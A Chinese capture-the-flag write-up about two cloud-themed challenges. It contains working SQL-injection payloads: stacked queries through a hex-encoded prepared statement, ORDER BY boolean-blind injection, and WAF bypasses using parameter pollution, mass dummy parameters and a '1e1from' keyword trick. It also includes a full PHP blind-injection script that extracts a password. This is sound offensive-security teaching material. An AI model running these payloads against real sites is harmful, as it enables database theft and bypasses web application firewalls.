前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >国际数字经济博览会安全大赛-Aliyun&Qcloud详细writeup

国际数字经济博览会安全大赛-Aliyun&Qcloud详细writeup

作者头像
ChaMd5安全团队
发布2019-10-21 15:49:05
9660
发布2019-10-21 15:49:05
举报
文章被收录于专栏:ChaMd5安全团队

前言

这次跟着Venom的师傅们一起参加了国际数字经济博览会的线下赛,谢谢师傅们带躺到第三hhh,CTF解题赛的三道云安全的题目感觉还挺经典的,拿了其中一道Aliyun题的一血,另一道题快做出来的时候队里的师傅就做出来了Orz,Jdyun的全程自闭没有做出来也是很遗憾(最终在主办方放了两个hint后第一名的M01N战队做出了全场唯一解,师傅们太强了),故写下wp记录一下。

ALiyun

解题过程:

1.尝试了下单引号,发现爆错了,应该就是个注入

sql注入绕waf

2.经多次fuzz发现

  • hpp可以过union select , 属于云waf层的防护
  • user show 关键字被单独处理过滤了直接返回index页面,属于代码层的防护
  • 测试分号发现可以堆叠注入,但set xxx prepare 的形式被过滤

3.查找了下mysql官方文档发现:用select into可以代替set绕过filter,其他的就是堆叠注入的老套路预编译绕过filter

最终的payload:

代码语言:javascript
复制
/index.php?username=a&username=a';select+0x73656C656374202A2066726F6D206163653234326636393462386537316261383165316232373935653531656639323163+into+@a;select+@a;prepare+execsql+from+@a;execute+execsql;--+&password=123;--+ HTTP/1.1

Qcloud

解题过程:

1.扫目录发现 /admin 返回的页面中有隐藏表单,后面根据表单猜测可能存在user表以及name和password字段,当然这是做到后面才想到出题人留这个页面的原因=。=

代码语言:javascript
复制
    <html>
    <head>
    <title>施工中</title>
    </head>
    <body>
    <h1>施工中,请3年后再来:)</h1>
    <div style="display:none;">
    <form action="/user" method="POST">
    <p>name: <input type="text" name="name" /></p>
    <p>passwd: <input type="text" name="password" /></p>
    <input type="submit" value="Submit" />
    </form>
    </div>

    </body>
    </html>

2.抓包发现一个获取文章的接口,存在orderby和limit参数,尝试注入(if(1,1,2))返回'405 您访问的URL可能有风险',因此大概率也是道注入绕waf的题目

3.先判断是否是orderby注入

代码语言:javascript
复制
/api?orderby=date&limit=5
/api?orderby=date--+&limit=5

可以看到利用orderby后面的注释符我们成功使limit字段失效了,因此这里可以确定是一个orderby后的sql注入

4.经过fuzz发现几个比较难绕过的点

a.if被过滤了

b.from被过滤了

c.各种字符串相关的函数被过滤,但是漏了个lpad可以用

后面和师傅们讨论后,对于if被过滤我们可以用下面两种形式的payload绕过做bool盲注

代码语言:javascript
复制
#Yan表哥的payload
orderby=(CASE+WHEN+(1=2)+THEN+id+ELSE+title+END)&limit=3
orderby=(CASE+WHEN+(1=2)+THEN+id+ELSE+title+END)&limit=3
#我自己的payload
orderby=id|((select+abs(-5)=4)%2b1)--+&limit=3
orderby=id|((select+abs(-5)=5)%2b1)--+&limit=3
代码语言:javascript
复制
GET /api?orderby=(CASE+WHEN+(1=2)+THEN+id+ELSE+title+END)&limit=3 HTTP/1.1
Host: qcloud.xctf.org.cn:8099
Accept: application/json, text/javascript, */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://qcloud.xctf.org.cn:8099/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

1=1

1=2

但是这里还是有个问题,跑flag的话flag在另一个表里,当前表column数为4且不存在flag的column,因此肯定是一定要用到from关键字的,一开始以为应该也是绕云waf,试了超长uri发现不行就感觉可能是有代码层绕过的奇技淫巧么,在感觉凉凉的时候,Yan表哥反手就是一个超多前置参数绕过云waf的from关键字还有,哦豁这下不仅仅是from关键字可以bypass,甚至连其他字符串函数也可以使用了,还是不够细心啊试了超长uri却没有试超多前置参数。

payload:

代码语言:javascript
复制
/api?a0=0&a1=1&a2=2&a3=3&a4=4....(此处省略n多类似参数)...&a0=1&a1=2...&orderby=(case+when+((substr((select+id+from+(user)+limit+0,1),1,1))='1')+THEN+id+ELSE+title+END)&limit=3

5.最后就是写盲注脚本跑flag,结合提示要我们获取admin的密码,还有步骤1里的表单:user表 name passwd字段,Yan表哥的exp写得比较好看就放Yan表哥的啦=。= exp.php

代码语言:javascript
复制
<?php
function inject($sql) {
    $ret = false;
    $req = curl_init("http://qcloud.xctf.org.cn:8099/api?a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a10=1&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&b0=0&b0=0&b0=0&b0=0&b0=0&b0=0&b0=0&b0=0&b0=0&b0=0&b1=1&b1=1&b1=1&b1=1&b1=1&b1=1&b1=1&b1=1&b1=1&b1=1&b2=2&b2=2&b2=2&b2=2&b2=2&b2=2&b2=2&b2=2&b2=2&b2=2&b3=3&b3=3&b3=3&b3=3&b3=3&b3=3&b3=3&b3=3&b3=3&b3=3&b4=4&b4=4&b4=4&b4=4&b4=4&b4=4&b4=4&b4=4&b4=4&b4=4&b5=5&b5=5&b5=5&b5=5&b5=5&b5=5&b5=5&b5=5&b5=5&b5=5&b6=6&b6=6&b6=6&b6=6&b6=6&b6=6&b6=6&b6=6&b6=6&b6=6&b7=7&b7=7&b7=7&b7=7&b7=7&b7=7&b7=7&b7=7&b7=7&b7=7&b8=8&b8=8&b8=8&b8=8&b8=8&b8=8&b8=8&b8=8&b8=8&b8=8&b9=9&b9=9&b9=9&b9=9&b9=9&b9=9&b9=9&b9=9&b9=9&b9=9&c0=0&c0=0&c0=0&c0=0&c0=0&c0=0&c0=0&c0=0&c0=0&c0=0&c1=1&c1=1&c1=1&c1=1&c1=1&c1=1&c1=1&c1=1&c1=1&c1=1&c2=2&c2=2&c2=2&c2=2&c2=2&c2=2&c2=2&c2=2&c2=2&c2=2&c3=3&c3=3&c3=3&c3=3&c3=3&c3=3&c3=3&c3=3&c3=3&c3=3&c4=4&c4=4&c4=4&c4=4&c4=4&c4=4&c4=4&c4=4&c4=4&c4=4&c5=5&c5=5&c5=5&c5=5&c5=5&c5=5&c5=5&c5=5&c5=5&c5=5&c6=6&c6=6&c6=6&c6=6&c6=6&c6=6&c6=6&c6=6&c6=6&c6=6&c7=7&c7=7&c7=7&c7=7&c7=7&c7=7&c7=7&c7=7&c7=7&c7=7&c8=8&c8=8&c8=8&c8=8&c8=8&c8=8&c8=8&c8=8&c8=8&c8=8&c9=9&c9=9&c9=9&c9=9&c9=9&c9=9&c9=9&c9=9&c9=9&c9=9&d0=0&d0=0&d0=0&d0=0&d0=0&d0=0&d0=0&d0=0&d0=0&d0=0&d1=1&d1=1&d1=1&d1=1&d1=1&d1=1&d1=1&d1=1&d1=1&d1=1&d2=2&d2=2&d2=2&d2=2&d2=2&d2=2&d2=2&d2=2&d2=2&d2=2&d3=3&d3=3&d3=3&d3=3&d3=3&d3=3&d3=3&d3=3&d3=3&d3=3&d4=4&d4=4&d4=4&d4=4&d4=4&d4=4&d4=4&d4=4&d4=4&d4=4&d5=5&d5=5&d5=5&d5=5&d5=5&d5=5&d5=5&d5=5&d5=5&d5=5&d6=6&d6=6&d6=6&d6=6&d6=6&d6=6&d6=6&d6=6&d6=6&d6=6&d7=7&d7=7&d7=7&d7=7&d7=7&d7=7&d7=7&d7=7&d7=7&d7=7&d8=8&d8=8&d8=8&d8=8&d8=8&d8=8&d8=8&d8=8&d8=8&d8=8&d9=9&d9=9&d9=9&d9=9&d9=9&d9=9&d9=9&d9=9&d9=9&d9=9&g0=0&g0=0&g0=0&g0=0&g0=0&g0=0&g0=0&g0=0&g0=0&g0=0&g1=1&g1=1&g1=1&g1=1&g1=1&g1=1&g1=1&g1=1&g1=1&g1=1&g2=2&g2=2&g2=2&g2=2&g2=2&g2=2&g2=2&g2=2&g2=2&g2=2&g3=3&g3=3&g3=3&g3=3&g3=3&g3=3&g3=3&g3=3&g3=3&g3=3&g4=4&g4=4&g4=4&g4=4&g4=4&g4=4&g4=4&g4=4&g4=4&g4=4&g5=5&g5=5&g5=5&g5=5&g5=5&g5=5&g5=5&g5=5&g5=5&g5=5&g6=6&g6=6&g6=6&g6=6&g6=6&g6=6&g6=6&g6=6&g6=6&g6=6&g7=7&g7=7&g7=7&g7=7&g7=7&g7=7&g7=7&g7=7&g7=7&g7=7&g8=8&g8=8&g8=8&g8=8&g8=8&g8=8&g8=8&g8=8&g8=8&g8=8&g9=9&g9=9&g9=9&g9=9&g9=9&g9=9&g9=9&g9=9&g9=9&g9=9&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&b0=0&b0=0&b0=0&b0=0&b0=0&b0=0&b0=0&b0=0&b0=0&b0=0&b1=1&b1=1&b1=1&b1=1&b1=1&b1=1&b1=1&b1=1&b1=1&b1=1&b2=2&b2=2&b2=2&b2=2&b2=2&b2=2&b2=2&b2=2&b2=2&b2=2&b3=3&b3=3&b3=3&b3=3&b3=3&b3=3&b3=3&b3=3&b3=3&b3=3&b4=4&b4=4&b4=4&b4=4&b4=4&b4=4&b4=4&b4=4&b4=4&b4=4&b5=5&b5=5&b5=5&b5=5&b5=5&b5=5&b5=5&b5=5&b5=5&b5=5&b6=6&b6=6&b6=6&b6=6&b6=6&b6=6&b6=6&b6=6&b6=6&b6=6&b7=7&b7=7&b7=7&b7=7&b7=7&b7=7&b7=7&b7=7&b7=7&b7=7&b8=8&b8=8&b8=8&b8=8&b8=8&b8=8&b8=8&b8=8&b8=8&b8=8&b9=9&b9=9&b9=9&b9=9&b9=9&b9=9&b9=9&b9=9&b9=9&b9=9&c0=0&c0=0&c0=0&c0=0&c0=0&c0=0&c0=0&c0=0&c0=0&c0=0&c1=19&orderby=(CASE+WHEN+(${sql})+THEN+id+ELSE+title+END)&limit=3");
    curl_setopt($req, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($req, CURLOPT_HTTPHEADER, array("Accept: application/json, text/javascript, */*","X-Requested-With: XMLHttpRequest","User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36","Referer: http://qcloud.xctf.org.cn:8099/","Connection: close","Accept-Encoding: gzip, deflate","Accept-Language: zh-CN,zh;q=0.9,en;q=0.8","Content-Type: application/x-www-form-urlencoded"));
    $result = curl_exec($req);
    if(curl_getinfo($req, CURLINFO_HTTP_CODE) == 200){
        if (strstr($result, "Raspberry")) {
            $ret = true;
        }else{
            $ret = false;
        }
    }else{
        echo "Status Code:".curl_getinfo($req, CURLINFO_HTTP_CODE)."\n";
        echo "Response body: ".$result."\n";
        die();
    }
    curl_close($req);
    return $ret;
}


$password = "flag{b9116b07";
$j = strlen($password)+1;


$letters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-}{~!@$%^&*()_";
while (1) {
    for ($i=0; $i < strlen($letters); $i++) { 
        $s = substr($letters, $i,1);
        $sql = "(substr((select+password+from+(user)+limit+0,1),${j},1))='$s'";
        $res = inject($sql);
        if ($res == true){
            $password .= $s;
            $j++;
            break;
        }


    }
    echo $password."\n";
}
// flag{b9116b07-0583-4ab7-abf7-4f25d0e8172d}
?>

6.这道题就结束了吗?还没有哈哈=。= 针对4里的from的过滤假如没有云waf层的通用bypass而是代码层的filter呢? 请教了下我无敌的@放师傅,看到下面这个payload涨姿势了,吹一波我放师傅=。=

代码语言:javascript
复制
select name,1e1from user;#试了下这个可以过from的检测

后语

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-10-16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 ChaMd5安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • ALiyun
  • Qcloud
  • 后语
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档